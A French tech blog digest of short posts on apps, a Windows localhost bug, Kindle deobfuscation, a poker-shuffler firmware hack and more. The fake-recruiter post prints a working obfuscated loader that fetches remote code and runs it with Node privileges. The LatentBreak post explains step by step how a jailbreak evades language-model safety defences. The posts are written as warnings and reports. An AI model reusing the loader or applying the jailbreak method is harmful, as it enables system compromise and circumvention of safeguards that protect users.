Vault - L'app open source qui collecte vos liens, notes et images
Fin de journée, c’est presque le week end et en plus les vacances scolaires sont là ! Mais je ne pouvais pas finir ma journée sans vous parler de Vault. Vault c’est une application Electron pour Mac, Windows et Linux qui vous permet de sauvegarder vos liens, vos notes et vos images à 100% en local sur votre machine.
Vous installez l’app, vous créez un ou plusieurs “coffres” (des dossiers qui organisent votre contenu), et vous commencez à sauvegarder tout ce qui vous intéresse. L’app extrait automatiquement les métadonnées des liens que vous lui donnez, le temps de lecture estimé, les infos produit si c’est une page e-commerce, et comme ça, tout reste bien organisé dans votre interface.
Vault propose aussi une extension navigateur pour Chrome, Firefox et dérivés. Comme ça, si vous tombez sur un article intéressant, hop, un clic et c’est sauvegardé directement dans votre coffre local. Et pas besoin d’ouvrir l’app, car l’extension communique directement avec elle en arrière-plan.
Ce qui me plaît dans cette approche, c’est qu’on revient aux bases. Rien n’est stocké en ligne, et si vous gérez bien vos sauvegardes, tout restera chez vous ad vitam eternam ! Après comme y’a pas de synchro native entre vos appareils, si vous bossez sur deux ou trois machines différentes, faudra gérer ça à la main avec un Dropbox ou iCloud Drive en plaçant vos coffres dans un dossier synchronisé. Mais bon, on peut pas tout avori dans la vie.
L’app supporte le Markdown pour vos notes, ce qui est sympa si vous aimez écrire en texte formaté et vous pouvez importer vos bookmarks depuis Chrome en deux clics, et exporter vos coffres pour les partager ou les archiver.
Le projet est open source sous licence MIT et est dispo ici .
Vault ne va pas changer votre vie mais c’est une app qui fait ce qu’on lui demande, sans chichi, sans tracking, sans casser les pieds et ça, moi j’adore !
SmoothCSV3 - Pour traiter vos fichiers CSV avec respect
Les CSV, c’est comme les cafards et les politiciens. Tout le monde les déteste, mais ils survivront à l’apocalypse nucléaire. Ainsi, pendant que les formats propriétaires disparaissent avec leurs éditeurs au fil des ans, ce petit fichier texte avec des virgules continue tranquillement de faire tourner le monde.
Par exemple, 80% des datasets sur Kaggle sont en CSV et toutes les APIs qui valent quelque chose proposent un export CSV. Même votre comptable, ce gros nullos en informatique vous envoie des CSV.
Et vous, vous ouvrez ça avec quoi ? Excel ?
Aïe aïe aïe, Excel, votre meilleure ennemi en ce qui concerne les CSV ! Vous double-cliquez sur un fichier de 100 Mo, et le ventilo de votre machine s’emballe comme si vous miniez du Bitcoin ! La RAM explose et, PAF, 15 minutes plus tard, l’outil de Microsoft se crash. Ou pire, il ouvre le fichier, mais il a transformé les IDs en formules de maths, vos dates en n’importe quoi, et votre UTF-8 est massacré.
Bref, pas merci Microsoft.
Et c’est pas un problème théorique. Rien qu’en 2020, le Royaume-Uni a égaré 16 000 cas de COVID parce qu’Excel a une limite de 65 000 lignes par feuille, du coup des milliers de cas positifs n’ont jamais été contactés par les services de santé. Même JP Morgan a perdu 6 milliards de dollars à cause d’une erreur dans un fichier Excel. Et des centaines d’articles scientifiques ont dû être retirés parce qu’Excel avait corrompu des noms de gènes en les transformant automatiquement en dates.
Le problème, c’est qu’Excel n’a jamais été conçu pour éditer des CSV. Excel, c’est fait pour les tableaux croisés dynamiques et les graphiques en camembert que personne ne lit mais surtout pas pour bosser proprement avec des fichiers texte qui font 500 Mo.
Alors en bon geek, vous vous êtes surement déjà dit : OK, je vais utiliser autre chose. LibreOffice ? Même combat mais en moche. Un chouette éditeur de texte comme Notepad++ ou Sublime ? Super pour voir les virgules, mais nul pour visualiser la structure. Et les outils en ligne ? Lents, pas sécurisés, et vous envoyez vos données chez oncle Sam la plupart du temps. Bref, vous êtes coincé !
Et c’est après cette intro interminable (je m’en fous, c’est vendredi) qu’arrive SmoothCSV3, un éditeur CSV développé par kohii et dispo sur GitHub et dont l’ambition affichée par le dev est claire : devenir le VS Code des éditeurs tabulaires. Rien que ça !
Le logiciel tourne sur macOS et Windows, avec Linux en approche. Comme vous pouvez le voir sur ma capture écran, l’interface ressemble à un tableur classique, mais sous le capot, c’est du costaud. Le dev annonce une execution 12× plus rapide qu’Excel sur un fichier de 100 Mo et niveau fonctionnalités, vous avez la recherche et le remplacement, le tri, le filtrage, l’édition multi-cellules mais surtout, vous avez des requêtes SQL directement dans le CSV. Oui, du SQL dans un fichier texte avec des virgules. Ça vous permet de sélectionner vos colonnes avec un WHERE, de faire des JOINs entre plusieurs fichiers, et de les grouper avec un GROUP BY. C’est encore plus magique qu’Eric Antoine !
Il y a aussi une palette de commandes à la VS Code. Vous tapez Cmd+Shift+P et vous avez accès à toutes les fonctions du logiciel sans quitter le clavier. Si vous avez déjà utilisé VS Code, Sublime Text ou IntelliJ, vous êtes donc en terrain familier.
Alors oui, le CSV, c’est moche, c’est fragile, c’est chiant à parser, mais c’est universel, ça marche partout et surtout, ça traverse les époques. Ce qui lui manquait c’était surtout un outil qui le traite comme une princesse, avec le respect qu’il mérite.
Quand Amazon transforme vos ebooks en manuscrits médiévaux impossible à déchiffrer ou presque
Voici l’histoire de Pixelmelt, un développeur qui voulait simplement sauvegarder en local un ebook acheté sur Amazon pour le lire avec une autre app parce que l’app Kindle d’Android a crashé une fois de trop à son goût.
Mais c’est impossible. Pas de bouton download, pas d’export, que dalle… Même si vous avez acheté le livre, c’est Amazon qui décide de comment et de quand vous pouvez le lire.
Bref, frustré, il se tourne alors vers le Kindle Cloud Reader, la version web de l’app. Et là, il découvre un truc incroyable ! Amazon a créé un système d’obfuscation tellement complexe qu’il ressemble aux techniques de cryptographie des manuscrits anciens. Mais siii, vous savez, ces textes enluminés que seuls les moines pouvaient déchiffrer au Moyen-Âge. Amazon a réinventé le concept en version numérique.
Pour fonctionner, le Kindle Cloud Reader utilise un endpoint de rendu qui nécessite plusieurs tokens d’authentification. Déjà c’est pas simple. Mais ça se corse un peu plus quand on regarde le texte qui s’affiche car ce ne sont pas des lettres ! Ce sont des glyphes, essentiellement des séries de coordonnées qui dessinent une lettre. Ainsi, au lieu de stocker le caractère ‘T’, Amazon stocke “glyphe 24” qui correspond à une forme dessinée via des commandes SVG. Et ces glyphes changent de mapping toutes les 5 pages, un peu comme un codex (coucou Dan Brown ^^) où l’alphabet se transforme à tous les chapitres.
Du coup, pour son livre de 920 pages, il a fallu faire 184 requêtes API distinctes. Chaque requête récupère un nouveau jeu de glyphes soit au total 361 glyphes uniques découverts, et 1 051 745 glyphes à décoder. Oui, ça fait plus d’un million de symboles à traduire pour lire un seul livre.
Amazon a même ajouté des pièges comme des micro-opérations MoveTo complètement inutiles dans les SVG qui s’affichent parfaitement dans le navigateur mais cassent toute tentative de parsing automatique. C’est de l’anti-scraping placé là volontairement, comme des fausses pistes dans des cryptogrammes médiévaux destinées à tromper les copistes non autorisés.
Face à ce délire, notre développeur est alors devenu malgré lui un crypto-archéologue. Sa méthode a donc été de comparer pixel par pixel chaque caractères, valider chaque hypothèse, pour tout reconstruire patiemment. Je vous passe les détails techniques mais il a sorti chaque glyphe SVG sous la forme d’une image, puis a comparé ces images pour trouver leur correspondance avec les vraies lettres en utilisant un outil (SSIM) qui simule la perception humaine pour évaluer la similarité entre deux images.
Résultat, 100% des glyphes matchés ont un score quasi-parfait ce qui lui a permis de reconstruire un fichier EPUB complet avec le formatage, les styles, les liens internes…etc. Tout y est, c’est trop fort !
Bref, Pixelmelt 1 - Amazon 0 ! Et ça, ça fait plaisir ! Maintenant si vous voulez connaitre tous les détails de ça et refaire la même chez vous (pour rigoler hein, ne vous lancez pas dans dans une opération de piratage massif sinon vous finirez en taule comme Sarko ^^)
Si vous disparaissiez demain, qui s'en rendrait compte ?
Question flippante, hein ?
Vous postez des stories Instagram, vous faites des snaps, des TikToks, en bon nazi vous likez des tweets, vous répondez à des emails pro…etc. Votre vie numérique ronronne comme un chat sous coke mais si demain, tout ça s’arrêtait…? A votre avis, Combien de temps avant que quelqu’un ne toque à votre porte pour vérifier que vous allez bien ?
Un jour ? Deux jours ? Une semaine ?
On est tous hyperconnectés 24/7 mais personne ne surveille vraiment notre silence et vos 500 meilleurs amis de Facebook ne prendront jamais la peine de signaler votre disparition.
C’est de ce constat un peu morbide qu’est né Wellness Ping, un projet open source développé par micr0 et hébergé sur GitHub qui fonctionne comme ceci : Vous vous inscrivez dessus, et vous recevez un email régulier pour confirmer que vous allez bien. Si vous ne répondez pas, vos contacts d’urgence sont alors automatiquement alertés.
C’est ce qu’on appelle un dead man’s switch, le joujou préféré des cons de terroristes qui se font exploser dans les films des années 80. En gros, tant que vous confirmez votre présence, tout va bien mais si le silence se prolonge, l’alarme se déclenche.
Vous pouvez l’auto-héberger vous-même ou utiliser directement le site wellness-p.ing (C’est gratuit). Vous choisissez alors la fréquence des pings, soit quotidien ou hebdomadaire, selon votre niveau de paranoïa ou de solitude et quand vous recevez l’email, vous cliquez sur un lien ou vous répondez “PONG” et c’est tout. Pas de dashboard compliqué, pas de machins de gamification débiles…
Et si vous ne répondez pas parce que vous êtes coincé au chiottes depuis 3 jours, le système vous envoie un rappel. Si vous ne répondez toujours pas, il attend encore un peu. Et si le silence persiste, vos contacts d’urgence reçoivent alors automatiquement une alerte.
C’est clairement fait pour activistes, les journalistes, les chercheurs, et les gens qui vivent seuls. Bref, tous ceux dont la vie pourrait basculer sans que personne ne s’en rende compte immédiatement. Je pense pas exemple à tous ceux qui bossent en remote et qui n’ont pas de collègues pour remarquer leur absence.
Au Japon, il y a un mot pour ça d’ailleurs. Ils disent kodokushi pour “Mort solitaire” car là bas, des milliers de personnes par an meurent seules chez elles, et on ne les découvre que des jours ou des semaines plus tard. C’est d’ailleurs souvent parce que les voisins sentent que ça schlingue ou parce que le courrier s’entasse sous la porte. Je sais, c’est gore mais c’est la triste réalité.
Avec Wellness Ping on inverse donc la logique… Au lieu d’attendre que quelqu’un remarque votre absence, vous créez un système proactif où vous choisissez les contacts, vous qui décidez de la fréquence et comme ça, si un jour vous ne pouvez plus répondre, le filet de sécurité se déploie automatiquement.
Côté technique, le projet est développé en Go donc c’est léger, rapide, et la démo tourne sur un serveur en Suède parce que ce pays a une législation stricte sur les données personnelles.
Bref, c’est Wellness Ping, c’est une idée simple mais qui protège alors pensez-y !
Attention au piège du faux recruteur Linkedin !
Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !
Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.
Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.
Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.
Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.
Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !
//Get Cookie
(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
.catch(error => { });
})();
Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.
Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple le groupe nord-coréen Lazarus utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.
Alors pourquoi ça marche aussi bien ?
Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.
Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.
Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.
Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !
La plus petit drone FPV du monde ?
Vous avez déjà passé trois semaines à résoudre un problème qui n’existe pas ?
Hé bien Sam Hoarder, lui, a fait encore mieux. Il a pris un drone FPV déjà ultra-compact, le BetaFPV Air65 avec ses 65mm d’empattement, et l’a transformé en un truc trois fois plus petit, dix fois plus galère à piloter, et totalement inutile !
22 millimètres d’empattement de moteur à moteur, ça qui tient dans une boîte de Pringles et c’est génial. Parce que OUI, dans un monde tech obsédé par des specs toujours plus impressionnantes, des autonomies de 48 heures et des écrans pliables dans tous les sens, Sam a fait un truc qui sert à rien. Il a pris un drone qui vole très bien et s’est dit “hey, comment je pourrais rendre ce drone encore moins pratique à pilote ?”
Les hélices de l’Air65 de base font 31mm de diamètre, les moteurs font 9mm et si on fait se chevaucher les quatre hélices au maximum, on obtient théoriquement 31 - 9 = 22 mm d’empattement. Voilà, c’est tout… sauf que pour y arriver, il a fallu modéliser chaque composant dans SolidWorks, designer un cadre custom en deux plaques avec des supports moteur décalés, imprimer le tout en PLA avec une précision de 0,12 mm, et bien sûr démonter entièrement l’Air65 pour en remonter les moteurs avec des vis de montre, découper des oeillets au micron près, reconfigurer l’orientation du contrôleur de vol dans Betaflight avec un angle à 45°, et croiser les doigts très fort !!
Et le résultat est là puisque sont nouveau drone pèse 25 grammes tout mouillé avec sa batterie Lava 300mAh (qui est plus grande que le drone lui-même, au passage). La batterie dépasse donc littéralement du cadre. On dirait un cure-dent avec un sac à dos son machin et les quatre hélices se frôlent avec un espacement ridicule.
Et pour le décollage, c’est impossible de la faire partir posé au sol, car les hélices se touchent. Il faut donc le tenir délicatement entre deux doigts, armer les moteurs en priant pour ne pas déclencher le système anti-runaway, et le lâcher au moment précis où il commence à tenir.
Sam a filmé ses premiers essais et on le voit galérer pendant trois bonnes minutes, le drone dans une main, la radiocommande dans l’autre, essayant de trouver le timing parfait. C’est stressant à regarder, j’avoue et quand il y arrive enfin, le drone s’envole, vole correctement (ce qui est déjà un miracle), et on se dit “OK, mais maintenant il va faire quoi avec ?”
Hé bien rien. Absolument rien ^^.
Par contre, Sam a mis tous ses fichiers 3D gratuitement sur MakerWorld donc libre à vous de reproduire ce projet complètement inutile si ça vous chauffe.
Amusez-vous bien !
Windows 11 ne peut plus se parler à lui-même car Microsoft a cassé localhost
Vous connaissez ce mème que tous les barbus sans originalité ont sur un t-shirt ou une tasse et qui dit : “There’s no place like 127.0.0.1” ? (Oui moi aussi j’ai eu un t-shirt comme ça ^^)
Ce jeu de mots culte fait référence au Magicien d’Oz et surtout au localhost, qui est l’adresse locale où votre machine se connecte à elle-même. Eh bien mauvaise nouvelle, Microsoft vient de la rendre littéralement inopérante avec leurs dernières mises à jour de merde. Ainsi, Windows 11 ne peut plus accéder à sa propre adresse localhost. C’est fou quand même ! On dirait presque une blague mais non…
Les patchs KB5066835 et KB5065789 sortis en joli mois d’octobre ont pété totalement HTTP.sys, un composant du kernel Windows qui permet aux applications de discuter en local via HTTP/2. Du coup, les connexions vers 127.0.0.1 en HTTP/2 plantent systématiquement avec des messages d’erreur du genre ERR_CONNECTION_RESET ou ERR_HTTP2_PROTOCOL_ERROR.
Votre machine ne se reconnaît plus. Elle est là, elle fonctionne, mais elle ne peut plus se pinguer elle-même. Et évidemment, ceux qui trinquent ce sont surtout les développeurs. Visual Studio ne peut plus déboguer correctement, SQL Server Management Studio refuse de se connecter avec l’authentification Entra ID, l’application Duo Desktop, utilisée pour le 2FA, est complètement KO. Même des softs pros comme Autodesk Vault sont touchés.
Bref, si vous bossez avec du dev local ou des outils qui tournent en localhost, vous êtes dans la mierda.
Microsoft a corrigé dans ce patch un nombre record de 175 vulnérabilités CVE, dont 6 zero-days critiques et ils ont aussi fait le ménage en supprimant un vieux driver Agere Modem vieux de 20 ans qui traînait encore. Ils ont nettoyé, sécurisé, et optimisé Windows un peu plus mais visiblement sans faire quelques vérifications de base. Je trouve ça vraiment surprenant qu’aucun dev chez Microsoft ne s’en soit rendu compte avant que ça parte en prod.
Bon et alors, comment on s’en sort de leur nouvelle connerie ? Hé bien il y a 2 solutions, pas très classes mais qui fonctionnent.
La première, c’est de bidouiller le registre Windows pour désactiver HTTP/2. Vous allez dans
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters
Et vous mettez EnableHttp2Tls et EnableHttp2Cleartext à 0.
Redémarrage obligatoire (C’est Windows, bébé) et voilà !
La deuxième solution, plus radicale, consiste à désinstaller les mises à jour. Un petit coup de
wusa /uninstall /kb:5066835
ou
wusa /uninstall /kb:5065789
dans votre terminal et hop, vous retrouvez votre localhost fonctionnel, sauf que voilà, au bout d’un moment, Windows Update va gentiment vous les réinstaller automatiquement au prochain redémarrage si vous ne faites pas gaffe. C’est un peu comme votre ex toxique qui revient sans cesse dans votre vie…
Le truc encore plus wtf dans cette histoire, c’est que ce bug n’existe pas sur les installations toutes fraîches de Windows 11 24H2. Donc si vous installez Windows 11 proprement depuis zéro, localhost fonctionnera nickel. C’est seulement si vous avez mis à jour votre machine que vous êtes maudit du cul. Microsoft suggère donc “implicitement” que la meilleure solution serait… de tout réinstaller ! Bah ouais, on a que ça à foutre ! Merci du conseil, les gars.
Bref, encore une fois, on a l’impression que les équipes QA de Redmond ont pris des vacances prolongées. Bref, encore un fail monumental ! Bilou reviens, tu nous manques ! ^^
Voilà, donc si vous êtes développeur et que Visual Studio vous fait la gueule depuis début octobre comme un ado qui viendrait de se lever, vous savez maintenant pourquoi. Ce n’est pas votre code qui est pourri (enfin, peut-être qu’il l’est, mais c’est un autre sujet…), c’est juste Windows 11 qui a la gueule de bois !
Home sweet home ? Plutôt “home where is my home ?”, ouais.
Unfatten pour macOS - Récupérez de l'espace disque en supprimant le code mort de vos apps et plugins audio
Vous avez un Mac M1, M2, M3 ou M4 ? Bonne nouvelle, vous trimballez probablement entre 50 et 100 GB de code complètement inutile que votre processeur n’exécutera jamais et ce, depuis le jour où vous avez acheté votre superbe machine.
Les coupables ce sont les binaires universels de vos plugins audio (VST…etc) et vos apps traditionnelles qui contiennent maintenant deux versions complètes du code : une pour Intel, une pour Apple Silicon. Et comme votre Mac n’utilise qu’une seule de ces versions, mais vous payez le prix fort en espace disque pour les deux.
Car depuis 2020 et la transition vers Apple Silicon, Apple a choisi la simplicité : un seul fichier pour tout le monde ! Le développeur compile son code deux fois (Intel + ARM), colle les deux versions ensemble, et hop, vous vous retrouvez avec des fichiers littéralement deux fois plus gros qu’ils ne devraient l’être.
Et c’est là qu’ Unfatten entre en jeu. Ce petit outil gratuit fait exactement ce que son nom indique : il dégonfle vos plugins et vos applications en supprimant la partie du code que vous n’utilisez pas. Si vous êtes sur Apple Silicon, il vire le code Intel et si vous êtes encore sur Intel, il peut virer le code ARM (mais attention, si vous comptez upgrader votre Mac un jour, vous devrez tout réinstaller).
L’utilisation est ultra simple, vous sélectionnez les dossiers contenant vos apps et plugins, vous choisissez les formats à scanner (AAX, VST, VST3, AU), et vous lancez le scan. L’outil propose un mode simulation qui permet de voir exactement combien d’espace vous allez récupérer sans rien toucher et une fois que vous avez vu les chiffres (et croyez-moi, ils font mal), vous pouvez lancer le nettoyage réel !
Pensez quand même à faire un backup de vos plugins avant car on n’est jamais trop prudent avec ses plugins audio à 200 euros pièce qu’on ne peut pas toujours re-télécharger facilement. Après pour les apps, c’est moins critique, suffit de la réinstaller.
Pensez aussi à repasser un petit coup de Unfatten après d’éventuelles mises à jours des apps ou des plugins.
D’ailleurs, j’sais pas si vous savez mais macOS 26 Tahoe est la dernière version à supporter du x64 avec Rosetta 2, qui permet de faire tourner les apps Intel sur Apple Silicon.
Voilà, l’outil est disponible ici sur avelio.tech/unfatten et si au premier lancement, vous avez un avertissement de sécurité, passez par Sentinel pour le débloquer.
Merci à Lorenper pour l’info !
Machines à cartes au Poker - Quand le système anti-triche permet de tricher
Vous connaissez peut-être ces machines à mélanger les cartes qu’on trouve dans tous les casinos américains ?
Moi je ne savais même pas que ça existait, mais apparemment, le Deckmate 2, fabriqué par Shufflemaster (devenu depuis Light and Wonder), c’est la Rolls des shufflers. Un shuffler c’est pas un légume dégeu, c’est un mélangeur de cartes et on en trouve notamment au World Series of Poker (La biz à Patrick Bruel ^^), et dans tous les grands poker rooms de Vegas.
Cela permet d’automatiser le mélange pour accélérer le jeu et surtout éviter que ceux qui distribuent les cartes (les dealers) trichent avec de faux mélanges. La machine a même une caméra intégrée qui scanne chaque carte pour détecter si quelqu’un essaie de retirer un as ou d’ajouter un sept de pique.
En septembre 2022, il y a eu un scandale qui a secoué le monde du poker. Au Hustler Casino Live de Los Angeles, une joueuse relativement débutante, Robbi Jade Lew, gagne un pot de 269 000 dollars avec un call complètement fou. Elle avait valet-quatre dépareillés (un truc nul), et son adversaire Garrett Adelstein bluffait avec huit-sept. Techniquement, son call était correct, mais aucun joueur sensé n’aurait misé 109 000 dollars sur une main pareille sans savoir que l’adversaire bluffait… Le casino a donc lancé une enquête et conclu que le shuffler ne pouvait pas être compromis.
Mais même si ce n’était pas le cas pour cette affaire, est ce que c’est vrai ? Est ce qu’un Deckmate 2 peut être hacké ? Pour le chercheur en sécurité, Joseph Tartaro, ça s’est présenté comme un nouveau défi personnel !
Il a donc acheté un Deckmate 2 d’occasion avec deux collègues et a passé des mois à le démonter… pour finalement trouver quelques trucs intéressants, vous allez voir.
Il a découvert que la machine a un port USB accessible sous la table, là où les joueurs posent les genoux. Tartaro a donc créé un mini-ordinateur de la taille d’une clé USB qui, une fois branché, réécrit le firmware de la machine. La seule sécurité qu’il y a, c’est au démarrage, quand la machine vérifie que le code n’a pas changé en comparant son empreinte à une valeur connue.
C’est une simple comparaison de hash et le problème est que Tartaro peut modifier cette valeur de référence aussi… Du coup, le système de vérification contrôle que le code piraté correspond au hash piraté. C’est ballot ^^. Et une fois le firmware modifié, la machine continue à fonctionner normalement sauf qu’elle transmet maintenant l’ordre exact des 52 cartes via Bluetooth vers une app smartphone. Et comme la caméra interne de ce Deckmate 2 scanne déjà toutes les cartes pour détecter les fraudes, il suffit d’exploiter cette fonctionnalité.
Un journaliste de Wired a décidé de mettre ça en pratique dans des conditions réelles et vous allez voir, c’est sympa à voir.
Le truc génial, c’est que même si le dealer coupe le paquet (ce qui est obligatoire), l’app peut recalculer l’ordre final. Il suffit alors de regarder ses deux premières cartes et de les entrer dans l’app pour qu’elle déduise où le paquet a été coupé. À partir de là, vous connaissez toutes les mains de tous les joueurs et les cartes communes qui vont sortir.
Quand Tartaro a présenté ses résultats à Black Hat en 2023, Light and Wonder a réagi en disant que le hack était “non réaliste en conditions de casino”. Puis en 2024, la boîte a affirmé avoir patché le firmware de “virtuellement tous les shufflers” dans le monde.
Mais Tartaro reste quand même sceptique car les machines n’ont pas de connexion internet. Un technicien doit physiquement mettre à jour chaque appareil et même si le port USB est désactivé, le port Ethernet reste exploitable. Et si l’un de ces techniciens de maintenance décide de pirater la machine, aucun patch ne pourra l’en empêcher…
Bref, encore une fois, plus c’est complexe, plus c’est vulnérable.
LatentBreak - Quand les IA se font manipuler sans le savoir
Et si on pouvait pirater une IA non pas en la forçant, mais en la convainquant qu’elle est toujours du bon côté de la barrière ?? Ce serait pas un truc fun à faire ça quand même ? Hé bien c’est exactement ce que vient de faire une équipe de chercheurs en sécurité avec LatentBreak, une technique qui ressemble plus, je trouve, à de l’hypnose qu’à du véritable hacking.
Ainsi, plutôt que de bombarder ChatGPT ou Llama avec des prompts bizarres bourrés de caractères spéciaux pour les faire bugger (comme le font les anciennes techniques de jailbreak), LatentBreak joue sur la perception interne du modèle. L’IA croit en fait sincèrement répondre à une question innocente alors qu’elle génère du contenu dangereux. Un peu comme quand votre pervers narcissique préféré vous manipule pour vous faire croire que vous faites un truc bien et important alors que c’est de la merde et que ça vous enfonce encore plus…
Comme expliqué dans le document de recherche , les anciennes attaques comme GCG , GBDA ou AutoDAN ajoutaient des suffixes louches aux prompts, ce qui augmentait ce qu’on appelle la “perplexity”. La perplexity, c’est un indicateur de bizarrerie textuelle et cela, les filtres de sécurité sont maintenant capables de les détecter et de les bloquer.
LatentBreak contourne donc le problème en restant parfaitement naturel. L’algorithme remplace des mots par des synonymes, mais pas n’importe comment puisqu’il choisit chaque substitution pour déplacer la représentation interne du prompt vers les zones “sûres” du modèle, c’est à dire celles qui ne déclenchent aucune alarme. Le prompt reste alors fluide, compréhensible, inoffensif en apparence mais dans l’“inconscient” de l’IA, dans cet espace latent invisible où elle calcule ses réponses, le sens glisse subtilement vers quelque chose de complètement différent.
À chaque itération, l’algorithme de LatentBreak prend un mot du prompt et génère jusqu’à 20 alternatives via un autre modèle comme GPT-4o-mini et chaque variante est évaluée sur deux critères : est-ce qu’elle rapproche le vecteur interne du prompt d’un “centre de sécurité” dans l’espace latent, et est-ce que le sens global reste cohérent ?
La meilleure option est alors intégrée, et le nouveau prompt est testé sur le modèle cible. Si ça provoque une réponse normalement interdite, c’est gagné. Sinon, on recommence jusqu’à 30 fois de suite.
Et apparemment, les résultats sont impressionnants. Ils ont testé cette approche sur 13 modèles différents dont Llama-3, Mistral-7B, Gemma-7B, Vicuna-13B et Qwen-7B et LatentBreak affiche un taux de réussite entre 55 et 85% selon les cas. Les anciennes techniques tombant de toute façon à zéro face aux défenses modernes et tout ça en allongeant que de très peu la longueur du prompt.
LatentBreak passe d’ailleurs à travers des défenses réputées solides… Par exemple, R2D2 et Circuit Breakers, des systèmes qui analysent les signaux internes des neurones pour détecter les anomalies, se font totalement avoir parce qu’ils scannent le texte visible et les patterns de surface, mais pas la “pensée interne” du modèle.
Cette technique révèle quelque chose de fondamental à comprendre sur l’architecture des LLM modernes. Ces derniers ont une forme de dissonance cognitive qui est exploitable. Leur représentation interne ne correspond pas toujours à leur comportement affiché, et d’ailleurs les substitutions les plus efficaces se produisent près des dernières couches du modèle, là où la “décision” finale se forme. C’est à ce moment précis qu’on peut glisser le prompt dans une zone cognitive différente sans que les alarmes ne sonnent.
Bien sûr, LatentBreak nécessite un accès aux structures internes du modèle (donc pas de panique, ChatGPT ne va pas se faire pirater comme ça demain), ce qui limite son usage à des contextes de recherche ou aux modèles open source.
Le parallèle avec les techniques de social engineering qu’on connait est d’ailleurs frappant parce que quand vous manipulez quelqu’un, vous ne le forcez pas brutalement. Vous trouvez les bons mots, le bon contexte, vous lui donnez une perception qui correspond à ce que vous voulez… Bref, vous faites en sorte que la personne croie agir selon ses propres valeurs alors qu’elle fait exactement ce que vous voulez. Hé bien LatentBreak fait à peu près la même chose avec les IA en n’attaquant pas de front les protections, mais en les contournant en douceur en réécrivant la “mémoire de travail” du modèle.
Sympa non ?